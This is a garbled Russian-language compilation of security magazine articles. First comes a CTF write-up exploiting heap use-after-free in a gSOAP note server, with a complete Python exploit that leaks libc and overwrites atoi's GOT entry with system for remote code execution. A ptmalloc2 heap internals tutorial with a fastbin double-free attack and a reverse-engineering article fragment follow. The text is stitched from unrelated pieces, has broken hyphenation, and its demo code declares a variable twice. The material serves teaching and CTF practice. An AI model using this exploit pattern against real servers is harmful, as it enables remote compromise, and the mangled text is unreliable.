Tcache добави ли в  для уско рения работы . Что необ- 

ходимо понимать:

glibc 2.26 malloc()

для каж дого тре да  выделя ет нес коль ко односвяз ных linked list
для бло ков раз ного раз мера (они же tcachebins);

• glibc

 добав ляет осво бож денный ука затель в начало спис ка;• free()
 дос тает ука затель из начала спис ка.• malloc()

Пред положим, что началь ные усло вия сле дующие: tcache list пус той, мы соз- 
дали ноут c , рав ным 0x17. Зеленым выделе ны дан ные , крас ным —
кон тро лиру емые нами дан ные.

size glibc

А теперь вызовем коман ду . Осво бодит ся два ука зате ля, которые
добавят ся в tcache linked list.

delete

Продолжение статьи →

https://github.com/gaasedelen/lighthouse
https://www.youtube.com/watch?v=bSkpMdDe4g4&t=2710s
https://godbolt.org/
https://xakep.ru/2020/05/18/ctf-useless-crap/#toc05.
https://elixir.bootlin.com/
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4319
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L2736
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L2733
https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html


РАЗБОРКИ НА КУЧЕ
ЭКСПЛУАТИРУЕМ ХИП УЯЗВИМОГО SOAP-

СЕРВЕРА НА LINUX

COVERSTORY  НАЧАЛО СТАТЬИ←

Пом нишь про вер ку в  на то, что дли на нового note дол жна быть

мень ше  ори гиналь ного? Теперь на мес те  находит ся ука- 

затель на область памяти, зна чение ука зате ля точ но будет боль ше дли ны
новой замет ки.

editNote()
textLen textLen

Та ким обра зом у нас сох раня ется воз можность редак тировать пос ледний
эле мент linked list через .edit

Пос ле редак тирова ния  будет думать, что tcache linked list сос тоит

из трех эле мен тов. Соот ветс твен но, тре тий  вер нет кон тро лиру емый

нами ука затель. Обя затель ное усло вие —  всех трех  дол жны
соот ветс тво вать tcache small bin.

glibc
malloc()
size malloc()

Мы подс тро им так, что тре тий  вызовет ся в коман де , а сле- 

дующим вызовом будет  наших дан ных. Так мы получим мощ ней ший
RW-при митив.

malloc() new
memcpy()

Об рати вни мание на важ ный фак тор — зна чение . Смот ри, что будет,

если  ста нет, нап ример, 0x20. Тог да ука затель  занулит ся.

size
size textLen

Мы потеря ли воз можность UAF коман ды : ноль всег да будет мень ше дли- 

ны новой замет ки. Даже если даль ше в коде вызовет ся , новый эле- 

мент добавит ся в начало спис ка. В нуж ном нам поле всег да будет ноль.

edit
free()

На кида ем POC в SOAPUI.

INFO

Здесь ты видишь вывод встро енно го в 
пла гина , который наг лядно показы- 
вает, что лежит в linked list. Так же, если
не хочешь изу чать  в исходном коде

, можешь изу чить 
.

pwndbg
tcachebins

tcache
glibc пи тонов ский код пла- 
гина

Для удобс тва отладки я залоги ровал вызовы  в . Смот ри,

какие адре са воз вра щает покор рапчен ный :

malloc() newNote()
glibc

New note - malloc size 0x18, addr 0x650390 
New note - malloc size 0x400, addr 0x64acc0 
New note - malloc size 0x18, addr 0x650030 
New note - malloc size 0x8, addr 0x7ffff746d000 <--- Адрес, который 
мы задали в edit 

Име ем ружье, которое стре ляет восемью бай тами по кон тро лиру емо му адре- 
су! Куда стре лять?

ÑÎÁÈÐÀÅÌ ÝÊÑÏËÎÈÒ

Ког да я думал о том, как исполь зовать эти при мити вы, я мыс лил доволь но
при митив но. Ну можем мы писать восемь байт по про изволь ному адре су...
Надо перех ватить управле ние... Мож но перепи сать ука затель
на какую-нибудь фун кцию, ROP-гад жетами снять NX хипа, записать туда
шелл-код... Думаю, ты понял.

Даль ше я нат кнул ся на , не удер жался и пос- 
мотрел, как это сде лано там. И этот экс пло ит показал ся мне нас толь ко изящ- 
ным, что даль ше я при веду имен но его.

ки тай ский рай тап этой же CTF

Проб лема в том, что, ког да я рас суждал про экс пло ит, я абсо лют но про игно- 
риро вал тот факт, что бинарь работа ет даль ше до чет верто го . А тем
вре менем XML про дол жает обра баты вать ся и вызывать фун кции !

malloc()
glibc

Вто рой немало важ ный факт — отсутс твие RELRO в бинаре. Это зна чит,
что мож но стре лять в сек цию . Иде аль ной целью будет , пос- 
коль ку в качес тве вход ного аргу мен та фун кция при нима ет стро ку, такой же
аргу мент при нима ет .

.got.plt atoi()

system()
Пей лоад дос тавля ется сле дующей XML-нодой , которая пос ле

переза писи  вызовет  с кон тро лиру емой нами стро кой.
<array>

.got.plt system()

Итак, в финаль ном экс пло ите мы объ еди ним два PoC. Таким обра зом, нам
нуж но пос лать два XML-сооб щения. Задача пер вого — слить адрес .
Зная адрес , мож но вычис лить VA-фун кции . Адрес ука зате ля

на  в сек ции  бинаря известен заранее (в самом начале

статьи я показал, что  соб ран без ASLR). Вто рым сооб щени ем
исполь зуем RW-при митив, что бы переза писать  на  и запус- 

тить пей лоад.

glibc
glibc system()

atoi() .got.plt
gsoapNote

atoi() system()

ÇÀÏÓÑÊÀÅÌ ÝÊÑÏËÎÈÒ

Да вай пос мотрим, что у нас получи лось!

 

 

 
 

 
  

 
 
 

user@ubuntu$ python3 exploit.py
[+] Stage I. Craft xml to leak libc address
[+] libc address is 0x7f5078132000

[+] Stage II. Calculate required addresess and trigger RCE
[+] system address is 0x7f50781814e0
[+] atoi .got.plt address is 0x6372b8
[+] trigger RCE

И под твержда ем RCE на сер вере:

 

 

 
 

 

user@ubuntu:gsoapnote$ sudo ps aux --forest
...
\_ ./gsoapNote
\_ sleep 999     # Пейлоад отработал

ÂÛÂÎÄÛ

Мы разоб рали неп ростую задач ку, изу чили реали зацию хип-менед жмен та
 и поп ракти кова лись в исполь зовании нес коль ких полез ных инс тру мен- 

тов.

glibc

В качес тве допол нитель ного задания можешь поп робовать написать экс- 
пло ит через при митив heap overow.

Код экс пло ита через UAF при веден ниже.

 import base64
 import socket
 import re
 import struct

 def soap_message(array):
    return f"""
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:
urn="urn:note">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:handleCommand soapenv:encodingStyle="http://schemas.
xmlsoap.org/soap/encoding/">
        <commandXml xsi:type="xsd:string">
                <commandSeq>
                       {"".join(array)}
                </commandSeq>
        </commandXml>
     </urn:handleCommand>
  </soapenv:Body>
</soapenv:Envelope>
   """

  def new_note(content, size=None):
     contentBase64 = base64.b64encode(content)
     if not size:

         size = len(content)
    return f"""
       <array>
               <number>3</number>
               <simpleString>
                       <content>new</content>
               </simpleString>
               <integer>
                       <content>{size}</content>
               </integer>

               <bulkString>
                       <content>{contentBase64.decode()}</content>
                       <number>{len(contentBase64)}</number>
               </bulkString>
       </array>
   """

  def edit_note(content, note_index):
     contentBase64 = base64.b64encode(content)
    return f"""
       <array>
               <number>3</number>
               <simpleString>
                       <content>edit</content>
               </simpleString>
               <integer>
                       <content>{note_index:d}</content>
               </integer>
               <bulkString>
                       <content>{contentBase64.decode()}</content>
                       <number>{len(contentBase64)}</number>
               </bulkString>
       </array>
   """

 def show_note(note_index):
   return f"""
       <array>
               <number>2</number>
               <simpleString>
                       <content>show</content>
               </simpleString>
               <integer>
                       <content>{note_index:d}</content>
               </integer>
       </array>
   """

 def delete_note(note_index):
    return f"""
       <array>
               <number>2</number>
               <simpleString>
                       <content>delete</content>
               </simpleString>
               <integer>
                       <content>{note_index:d}</content>
               </integer>
       </array>
   """

 def payload(system_command):
    return f"""
       <array>
               <number>{system_command}</number>
       </array>
   """

 def send_to_gsoapnote(command_array):
     msg = soap_message(command_array)

     sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(('localhost', 33263))
    sock.send(bytes(msg, 'ascii'))

     response = sock.recv(1024).decode()
   sock.close()

   try:
   

 
       result = re.findall(r"(?<=<result>).*(?=</result>)", response
, flags=re.IGNORECASE)[0]

         result = base64.b64decode(result)
       print(result)
   except:
       pass

   try:
   

 
       result = re.findall(r"(?<=<msg>).*(?=</msg>)", result.decode
(), flags=re.IGNORECASE)[0]

         result = base64.b64decode(result)
   except:
       pass
    return result

 def libc_leak():
     free_and_show = (

        new_note(b'E'*8, 1281),
       delete_note(0),
       show_note(0)
       )
     response = send_to_gsoapnote(free_and_show)
      fd_pointer = struct.unpack("<Q", response)[0]
      return fd_pointer - 0x3ec2c0

   def exploit_tcache_linked_list(addr, value, system_command):
     tcache_exploit_commands = (

        new_note(b'A'*8, 0x17),
       delete_note(0),

         edit_note(struct.pack('Q', addr), 0),
        new_note(b'C'*8, 0x30),

         new_note(struct.pack('Q', value), 8),
       payload(system_command)
       )
     response = send_to_gsoapnote(tcache_exploit_commands)

   if __name__ == '__main__':

   print('[+] Stage I. Craft xml to leak libc address')
     libc_addr = libc_leak()
   print(f'[+] libc address is {hex(libc_addr)}')

   print('[+] Stage II. Calculate required addresess and trigger 
RCE')
       system_func_addr = libc_addr + 0x4f4e0
     atoi_plt_addr = 0x6372b8
   print(f'[+] system address is {hex(system_func_addr)}')
   print(f'[+] atoi .got.plt address is {hex(atoi_plt_addr)}')
   print('[+] trigger RCE')
     exploit_tcache_linked_list(atoi_plt_addr, system_func_addr,
"sleep 999")

https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/heap/ptmalloc.py
https://blog.csdn.net/Breeze_CAT/article/details/103788971
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Не кото рые уяз вимос ти воз ника ют из-за оши бок с управле- 
нием памятью, выделен ной на куче. Механизм экс плу ата ции
этих уяз вимос тей слож нее, чем обыч ное перепол нение
на сте ке, поэто му не все уме ют с ними работать. Даже курс
Cracking the perimeter (OSCE) не заходил даль ше три виаль- 
ной переза писи SEH. В этой статье я рас ска жу и на прак тике
покажу механи ку работы кучи.

Прак тиковать ся мы будем на реали зации кучи ptmalloc2, которая сей час
исполь зует ся по умол чанию в glibc, поэто му нам понадо бят ся машина с Linux
и необ ходимый софт. Уста новим отладчик GDB, GCC (мож но сра зу пос тавить
весь пакет build-essential) и отла доч ную вер сию биб лиоте ки libc, поз воля- 
ющую видеть под робную информа цию о куче. Так же пос тавим pwngdb и его
зависи мость — peda, что бы получить удоб ные коман ды , ,

.
vmmap hexdump

heapinfo

apt sudo install gdb build-essential libc6-dbg 
git clone https://github.com/scwuaptx/Pwngdb.git ~/Pwngdb 
cp ~/Pwngdb/.gdbinit ~/ 
git clone https://github.com/longld/peda.git ~/peda 

ÎÑÍÎÂÛ GDB

Для изу чения работы наших тес товых прог рамм понадо бит ся зна ние базовых
команд GDB:

 — запус тить файл;• r[un]
 — пос тавить точ ку оста нова на адре се ;• b[reak] *0x1234 0x1234

 — пос тавить точ ку оста нова на стро ке  текуще го
исходно го фай ла;

• b[reak] 123 123

 — пос тавить точ ку оста нова на стро ке 
исходно го фай ла ;

• b[reak] basic.c:123 123
basic.c

 — про дол жить выпол нение;• c[ontinue]
 — выпол нить одну ассем блер ную инс трук цию;• s[tep]
 — выпол нить одну строч ку исходно го фай ла;• n[ext]

 — рас печатать десять 8-бай тных слов по адре су ;• x/10xg 0x1234 0x1234
 — рас печатать зна чение перемен ной ;• p[rint] a a

 — взять содер жимое
памяти по адре су  как тип , задере ферен- 
сить его и рас печатать;

• p[rint] *((mchunkptr)0x555555756680)
0x555555756680 mchunkptr

 — показать, на какой строч ке исходно го кода находит ся выпол- 
нение прог раммы.

• where

Ко ман ды peda и pwngdb:
 — вывес ти кар ту памяти;• vmmap

 — показать содер жимое памяти по адре су в виде ;• hexdump hexdump
 — пос мотреть информа цию о куче.• heapinfo

ÑÒÐÓÊÒÓÐÀ ×ÀÍÊÎÂ

Ког да прог рамма зап рашива ет буфер для дан ных (нап ример, раз мером
в 10 байт) с помощью , на самом деле выделя ется боль ше памяти, так
как для хра нения метадан ных необ ходимо допол нитель ное прос транс тво.
Такой кусок памяти, содер жащий метадан ные, называ ют чан ком (chunk).

malloc

Струк тура чан ка, исполь зуемая в ptmalloc2, при веде на ниже. Из нее мож но
понять, что перед ука зате лем на выделен ный буфер памяти, который воз вра- 
щает ся поль зовате лю ( ), рас полага ются еще два поля: раз мер чан ка

и раз мер пре дыду щего чан ка.

mem

 

 

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
+-+ 

  | 
            |             Size of previous chunk, if unallocated (P 
clear)
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+ 
            |             Size of chunk, in 
bytes                     |A|M|P| 
      
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
            |             User data starts 
here...                          .
            .
                                                               .
            .             (malloc_usable_size() bytes)
                      .
            .
                                                               | 
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+ 
            |             (size of chunk, but used for application data
)    | 
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+ 
            |             Size of next chunk, in 
bytes                |A|0|1| 
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+ 

Сам чанк име ет такую струк туру:

  struct malloc_chunk {
   INTERNAL_SIZE_T      mchunk_prev_size; /* Size of previous chunk, 
if it is free. */
 INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, 
including overhead. */
   struct malloc_chunk* fd;                /* double links — used 
only if this chunk is free. */
   struct malloc_chunk* bk;
 /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk* fd_nextsize; /* double links — used only if 
this chunk is free. */
   struct malloc_chunk* bk_nextsize;
};

   typedef struct malloc_chunk* mchunkptr;

Что бы получить из ука зате ля на чанк (слу жеб ную струк туру) ука затель
на буфер памяти, который мож но исполь зовать, к пер вому при бав ляют зна- 
чение . . Для архи тек туры x64 оно рав но 8, а для x86 — 4.

То есть на x64 . И наобо рот, что бы из ука зате ля,

который вер нул , получить ука затель на чанк, необ ходимо вычесть
 из него. За это отве чают сле дующие мак росы:

2*SIZE_SZ SIZE_SZ
user_mem = chunk + 16
malloc

2*SIZE_SZ

#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))

Важ ный момент: поле  в сле дующем чан ке исполь зует ся
для хра нения поль зователь ских дан ных пре дыду щего чан ка.

mchunk_prev_size

Àðåíà

Ста рые менед жеры кучи исполь зовали одну кучу на весь про цесс и син хро- 
низи рова ли дос туп к ней раз ных потоков с помощью мьютек сов. Как нес- 
ложно догадать ся, положи тель но на про изво дитель нос ти это не ска зыва лось.
Ptmalloc2 исполь зует аре ны — области памяти для того, что бы каж дый поток
мог там хра нить свою кучу.

Но пос коль ку на прак тике потоков в при ложе нии может быть слиш ком мно- 
го, мак сималь ное количес тво соз дава емых арен вычис ляет ся по сле дующей
фор муле (  — количес тво про цес соров):n

#define NARENAS_FROM_NCORES(n) ((n) * (**sizeof** (**long**) == 4 ? 
2 : 8))

По ка количес тво арен мень ше мак сималь ного, менед жер кучи соз дает новую
аре ну на каж дый новый поток. Пос ле это го, увы, нес коль ким потокам при дет- 
ся делить меж ду собой одну аре ну.

Пер вая соз данная менед жером кучи аре на называ ется основной (main).
Одно поточ ное при ложе ние исполь зует толь ко основную аре ну.

Ôëàãè

Ос тановим ся под робнее на фла гах чан ка. Поле раз мера пре дыду щего чан ка
( ), кро ме собс твен но раз мера, хра нит три фла га: , , . Это воз- 

можно за счет вырав нивания раз мера чан ка. Так как раз мер чан ка всег да кра- 
тен либо 8, либо 16 бай там, пос ледние 3 бита раз мера не несут смыс ловой
наг рузки, и их мож но исполь зовать для хра нения фла гов.

mchunk_size A M P

 (NON_MAIN_ARENA): 0 — чанк был выделен из основной аре ны
и основной кучи; 1 — чанк при над лежит одной из вто рос тепен ных арен.
Ког да при ложе ние соз дает допол нитель ные потоки, каж дый из них получа- 
ет свою аре ну (гру бо говоря, свою кучу). В чан ках, выделя емых на этих
аре нах, уста нов лен бит ;

• A

A
 (IS_MMAPPED): 1 — чанк получен с помощью вызова . Осталь ные

фла ги игно риру ются, потому что дан ные чан ки не рас полага ются в аре не
и к ним не при мыка ют дру гие чан ки;

• M mmap

 (PREV_INUSE): 0 — пре дыду щий чанк не исполь зует ся. Перед полем
 рас полага ется зна чение раз мера пре дыду щего чан ка; 1 —

пре дыду щий чанк исполь зует ся. Перед полем  рас полага- 
ются поль зователь ские дан ные.

• P
mchunk_size

mchunk_size

Bins

Для повыше ния быс тро дей ствия чан ки исполь зуют пов торно (и имен но эту
осо бен ность учи тыва ют при экс плу ата ции кучи). Ранее исполь зован ные
и осво бож денные чан ки скла дыва ют в бины (bins). В нашей реали зации кучи
сущес тву ет пять типов бинов:

small (62 шту ки);•
large (63 шту ки);•
unsorted (1 шту ка);•
fast (10 штук);•
tcache (64 на поток).•

Small bins

Чан ки в каж дом из small bin хра нят ся в двус вязном спис ке.•
Встав ка осво бож денных чан ков в этот спи сок про изво дит ся с начала
(head), уда ление — с кон ца (tail, FIFO). Для ведения это го спис ка исполь- 
зуют ся ука зате ли fd и bk (см. струк туру чан ка).

•

Та ких бинов 62 шту ки. Каж дый из small bins хра нит чан ки толь ко одно го
раз мера: 16, 24, ..., 504 байт для x86 и 1008 байт для x64.

•

Ес ли в small bin попада ют два сосед них чан ка, то они объ еди няют ся
и отправ ляют ся в unsorted bin.

•

Large bins

Чан ки в каж дом из large bin так же хра нят ся в двус вязном спис ке.•
Чан ки в каж дом из бинов име ют диапа зон раз меров.•
Чан ки сор тиру ются сле дующим обра зом: самый боль шой чанк находит ся
в head спис ка, а самый малень кий — в tail. Для это го исполь зуют ся ука- 
зате ли  и .

•

fd_nextsize bk_nextsize
Встав ки и уда ления про исхо дят на любой позиции.•
Та ких бинов 63 шту ки, в них хра нят ся чан ки раз мером от 512 байт
для x86 и от 1024 байт для x64.

•

Unsorted bin

Вмес то того что бы скла дывать толь ко что осво бож денные чан ки в под- 
ходящий bin, менед жер кучи соеди няет их с соседя ми и скла дыва ет их
в unsorted bin. При сле дующем вызове  каж дый чанк из unsorted bin

про веря ется: под ходит он по раз меру или нет. Если под ходит, то 

исполь зует его. В про тив ном слу чае чанк помеща ется в под ходящий bin: small
или large.

malloc
malloc

Fast bins

Соз даны для опти миза ции осво бож дения и алло кации чан ков малень кого
раз мера.

•

Хра нят чан ки фик сирован ного раз мера. Мак сималь ный раз мер чан ка
для x86 88 байт, для x64 176 байт.

•

Чан ки хра нят ся в односвяз ном спис ке (LIFO).•
У чан ков в fast bins не сни мает ся флаг . Поэто му сосед ние осво бож- 
денные чан ки не сли вают ся. Это сде лано для уве личе ния ско рос ти осво- 
бож дения и выделе ния чан ков неболь шого раз мера.

• P

Tcache bins

У каж дого потока есть 64 tcache bin. Это сде лано для еще боль шей опти- 
миза ции выделе ния неболь ших чан ков. Они исполь зуют ся всег да, ког да
количес тво потоков пре выша ет мак сималь но допус тимое чис ло арен:
в этом слу чае каж дый поток может сна чала исполь зовать свой кеш, а не
ждать, пока осво бодит ся мьютекс син хро низа ции дос тупа к куче.

•

Чан ки хра нят ся в односвяз ном спис ке.•
В каж дом bin — мак симум семь чан ков с оди нако вым раз мером (12–
516 на x86 и 24–1032 на x64).

•

Чан ки при осво бож дении не сли вают ся и не осво бож дают ся «по-нас- 
тояще му» (флаг  не сни мает ся).

•
P

При зап росе памяти под ходящий чанк сна чала ищет ся в tcache, а потом
в осталь ных bin.

•

ÒÅÑÒÎÂÀß ÏÐÎÃÐÀÌÌÀ

На пишем прос тую тес товую прог рамму для демонс тра ции:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

 int main()
{
   puts("Basic allocation example.\n");
      char* a = malloc(0x10);

         strcpy(a, "AAAAAAAAAAAAAAA"); // A * 15
      char* b = malloc(0x12);
      memcpy(b, "BBBBBBBBBBBBBBBBBBBBBBBB", 24); // B * 23
       char* c = malloc(496); // was 0x200
       char* c = malloc(496); // was 0x200
      char* d = malloc(0x500);
      char* e = malloc(0x500);
      char* f = malloc(0x500);
      char* g = malloc(0x500);
      char* h = malloc(0x500);
   free(a);
   free(b);
   free(c);
   free(d);
   // free(e);
   free(f);
   free(h);
   free(g);
   puts("End.\n");
}

Ском пилиру ем ее с отла доч ной информа цией с помощью такой коман ды:

gcc basic.c -o basic -ggdb

ÏÐÀÊÒÈÊÀ

Здесь и далее мы будем рас смат ривать плат форму x64. Откро ем нашу тес- 
товую прог рамму в GDB и пос тавим бряк на строч ке 8: 

 с помощью коман ды .

char* a = malloc(
0x10): b basic.c:8

За пус тим выпол нение прог раммы коман дой  и пос мотрим, что в ней про- 

исхо дит (коман да ).

r
heapinfo

Пос ле начала исполне ния кода поль зовате ля куча ини циали зиру ется, и мы
можем уви деть, по какому адре су рас положен вер хний (top) чанк кучи:

.0x5555555596a0

INFO

Top chunk — чанк, находя щий ся на вер шине кучи.
Флаг  дан ного чан ка всег да выс тавлен.P

С помощью коман ды  мы можем пос мотреть кар ту памяти про цес са

и уви деть, где находит ся куча.

vmmap

Те перь мы зна ем, что нас не обма ныва ют и вер хний чанк кучи дей стви тель но
рас положен в сег менте кучи.

Ис полним одну строч ку прог раммы  с помощью

коман ды . Мы уви дим, что вер хний чанк кучи смес тился впе ред на 0x20 байт,
а дос тупный раз мер кучи умень шил ся соот ветс твен но. Почему на 0x20, если
мы зап росили 0x10 байт? Оставши еся 16 байт ушли на метадан ные, рас- 
положен ные перед ука зате лем :  и .

char* a = malloc(0x10)
n

a mchunk_prev_size mchunk_size

Так же мы можем уви деть, что флаг  в поле  равен 1, то есть

пре дыду щий чанк занят. С помощью коман ды  мы
можем рас печатать поля чан ка как струк туры.

P mchunk_size
p *((mchunkptr)(a-16))

Продолжение статьи →

mailto:moskvin.slava@gmail.com
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Да же если мы зап росим буфер раз мером 1 байт, на куче будет выделен чанк
раз мером 0x20 байт, а поль зовате лю вер нется ука затель на буфер раз- 
мером 0x18 байт.

Вы пол ним строч ку . Менед жер кучи выделит

чанк раз мером 0x20 байт. Поль зователь все так же смо жет исполь зовать
буфер раз мером 0x18.

char* b = malloc(0x12)

Ес ли мы запишем в наш чанк буфер раз мером 24 бай та, то уви дим, что
пос ледние 8 байт буфера «залезут» на сле дующий чанк, но метадан ные
переза писа ны не будут.

В резуль тате выпол нения строч ки  выделя ется чанк

раз мером 496 + 16 = 0x200 байт.

char* c = malloc(496)

Те перь перей дем к изу чению осво бож денных чан ков. Для начала выпол ним
строч ку 18 . Пос коль ку раз мер чан ка  мень ше 1032 байт, осво бож- 
денный чанк попадет в tcache.

free(a); a

Как мы уже зна ем, чан ки в tcache не осво бож дают ся «по-нас тояще му»,
и поэто му у сле дующе го чан ка все еще выс тавлен флаг .P

Ос вободим еще один чанк. Теперь в спи сок чан ков в tcache добавил ся
еще один.

По сме щению 0x55555555* * мы видим ука затель на сле дующий чанк
в нашем бине, который отно сит ся к tcache. Если рас печатать струк туру чан ка
по 0x55555555*

* — имен но этот чанк мы осво- 
боди ли строч кой ранее. Зна чения ука зате лей  и 

неваж ны для это го чан ка, так как они исполь зуют ся толь ко для чан ков, находя- 
щих ся в large bin.

96d0

96c0, то ока жет ся, что поле  (ука затель на сле дующий сво- 

бод ный чанк в бине) рав но 0x55555555

fd
96b0

fd_nextsize bk_nextsize

Пос ле того как мы осво бож даем чанк раз мером 0x200, он попада ет в дру гой
бин (тот, который соот ветс тву ет его раз меру).

Пос ле выпол нения строч ки 21 сво бод ный чанк опре деля ется в unsorted bin.
Строч ка 23 осво бож дает еще один чанк раз мером 0x500. Теперь

в unsorted bin находят ся два чан ка, и мы можем пос мотреть, как эти чан ки
хра нят ся в двус вязном спис ке.

Мы видим, что чанк 0x55555555a300 находит ся в начале спис ка. Поле  ука- 

зыва ет на сле дующий чанк — 0x5555555598e0.

fd

FAST BIN DUP

Те перь, воору жив шись эти ми зна ниями, раз берем прос тей шую ата ку fastbin
duplication. Суть такова: если в при ложе нии есть double-free, то мы можем
зас тавить  воз вра щать одни и те же чан ки из fastbin. Эту тех нику

исполь зуют, что бы получить при митив write-what-where ( ).

malloc
при мер с 0ctf

Раз берем при мер этой ата ки из .ре пози тория how2heap

INFO

Я раз беру код для libc 2.31, потому что имен но
эта вер сия исполь зует ся в Ubuntu 20.04. Ты
можешь выб рать дру гой, но прос леди, что бы вер- 
сия libc сов падала с исполь зуемой тво ей прог- 
раммой.

В пер вую оче редь забива ют tcache (как ты пом нишь, в tcache хра нит ся мак- 
симум семь чан ков одно го раз мера).

 void *ptrs[8];
     for (int i=0; i<8; i++) {

     ptrs[i] = malloc(8);
}

     for (int i=0; i<7; i++) {
   free(ptrs[i]);
}

Де лает ся это по одной прос той при чине: в реали зации tcache в libc 2.31 при- 
сутс тву ет защита от дан ной ата ки. Ког да чанк кла дет ся в tcache, в него сох- 
раня ется ука затель на сам tcache.

  typedef struct tcache_entry
{
   struct tcache_entry *next;
 /* This field exists to detect double frees.  */
   struct tcache_perthread_struct *key;
 } tcache_entry;

//...

  static __always_inline void
    tcache_put (mchunkptr chunk, size_t tc_idx)

{
       tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

 /* Mark this chunk as "in the tcache" so the test in _int_free will
    detect a double free.  */
   e->key = tcache;

//...
}

А фун кция  перед тем, как положить осво бож даемый чанк в tcache, про- 

веря ет, не сох ранен ли уже в этом чан ке ука затель на tcache. В таком слу чае
триг герит ся про вер ка на double free. К сло ву, в акту аль ной вер сии glibc эта
про вер ка улуч шена и 

.

free

вмес то ука зате ля на tcache в качес тве клю ча исполь- 
зует ся слу чай ное чис ло

    if (__glibc_unlikely (e->key == tcache))
     {

        tcache_entry *tmp;
           LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);

          for (tmp = tcache->entries[tc_idx];
        tmp;

          tmp = tmp->next)
            if (tmp == e)

        malloc_printerr ("free(): double free detected in tcache 2");
       /* If we get here, it was a coincidence.  We’ve wasted a
          few cycles, but don’t abort.  */
     }

Да лее выделя ются три буфера. Для выделе ния исполь зует ся , так

как он не исполь зует tcache. Знаю, в реаль ной жиз ни  встре чает ся
реже , но для учеб ных целей сой дет.

calloc
calloc

malloc

    int *a = calloc(1, 8);
    int *b = calloc(1, 8);
    int *c = calloc(1, 8);

За тем пос ледова тель но осво бож дают ся  и .a b

free(a);
free(b);

По ка что ничего кри миналь ного, наша куча выг лядит вот так.

В  находят ся два чан ка,  ука зыва ет на .fastbin[0] b→fd a
Но если выпол нить  еще раз, мы уви дим, что чанк  во вто рой раз

добавит ся в .

free(a) a
fastbin[0]

И теперь, если мы выделим еще три буфера с помощью , нам вер нутся

три оди нако вых ука зате ля, потому что все они берут ся из !

calloc
fastbin[0]

Раз берем ся, почему это сра бота ло. Чанк  в снип пете ниже — это ста рый
чанк, находя щий ся на вер шине fastbin, а  — это осво бож даемый чанк. И если

мы пос тара емся осво бодить чанк, находя щий ся на вер шине fastbin, два раза
( ), прог рамма напишет нам «double free or corruption (fasttop)» и зак- 
роет ся.

old
p

old == p

    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;

//...

/* Check that the top of the bin is not the record we are going to
add (i. e., double free).  */
     if (__builtin_expect (old == p, 0))

    malloc_printerr ("double free or corruption (fasttop)");
    p->fd = old2 = old;

Имен но поэто му мы не можем успешно выпол нить  два раза под ряд.
Но если помес тить на вер шину fastbin чанк , то  успешно переза пишет

ука затель  чан ка  (  на снип пете выше) и добавит его

в fastbin!

free(a)
b free

fd а p->fd = old2 = old;
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Ес ли пос ле про читан ного тебя заин тересо вала тема кучи, могу пореко мен- 
довать озна комить ся с дру гими клас сичес кими ата ками из , открыв
в сосед ней вклад ке  из иссле дуемой тобой .

how2heap
malloc.c вер сии glibc

https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
https://github.com/shellphish/how2heap/blob/master/glibc_2.31/fastbin_dup.c
https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L3160
https://github.com/shellphish/how2heap
https://ftp.gnu.org/gnu/glibc/
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ВЗЛОМ

Се год ня мы рас смот рим все воз можные пути воз вра та
резуль тата из выз ванной фун кции в вызыва ющую. Уме ние
опре делять спо собы воз вра щения зна чения поз воля ет
хакеру наибо лее точ но вос ста новить изна чаль ный алго ритм
взла мыва емой прог раммы. А если вдо бавок удас тся опре- 
делить тип переда ваемо го зна чения, то задача еще боль ше
упро щает ся.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Тра дици онно под воз вра щаемым фун кци ей зна чени ем понима ется то, что
переда ет опе ратор . Одна ко это лишь над водная часть айсбер га,
не рас кры вающая всей кар тины вза имо дей ствия фун кций друг с дру гом.
В качес тве наг лядной демонс тра ции рас смот рим типич ный при мер,
в котором про исхо дит воз вра щение зна чения в аргу мен те, передан ном
по ссыл ке:

return

       int xdiv(int a, int b, int *c=0) {
    if (!b) return -1;
       if (c) c[0] = a % b;
    return a / b;
}

Фун кция  воз вра щает резуль тат целочис ленно го деления аргу мен та 
